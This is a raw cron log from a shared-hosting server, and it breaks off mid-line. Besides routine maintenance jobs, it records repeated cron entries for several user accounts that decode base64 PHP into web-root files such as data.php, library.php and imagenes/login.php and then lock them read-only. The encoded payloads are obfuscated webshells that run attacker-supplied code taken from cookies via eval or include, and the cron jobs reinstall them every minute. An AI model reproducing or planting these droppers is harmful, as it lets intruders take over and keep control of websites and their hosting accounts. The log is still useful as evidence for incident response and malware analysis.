Mar  2 15:37:01 medusa CROND[24006]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:37:01 medusa CROND[24007]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:37:01 medusa CROND[24008]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:37:01 medusa CROND[24009]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 15:37:01 medusa CROND[24015]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:37:01 medusa CROND[24019]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:38:01 medusa CROND[10397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:38:01 medusa CROND[10602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:38:01 medusa CROND[10604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:38:01 medusa CROND[10605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:38:01 medusa CROND[10615]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:38:01 medusa CROND[10617]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:38:01 medusa CROND[10619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:38:01 medusa CROND[10621]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:38:01 medusa CROND[10624]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:38:01 medusa CROND[10626]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:38:01 medusa CROND[10629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:38:01 medusa CROND[10631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:38:01 medusa CROND[10601]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:39:02 medusa CROND[27755]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:39:02 medusa CROND[27756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:39:02 medusa CROND[27757]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:39:02 medusa CROND[27758]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:39:02 medusa CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:39:02 medusa CROND[27760]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:39:02 medusa CROND[27762]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:39:02 medusa CROND[27761]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 15:39:02 medusa CROND[27763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:39:02 medusa CROND[27769]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:39:02 medusa CROND[27776]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:39:02 medusa CROND[27778]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:39:02 medusa CROND[27781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9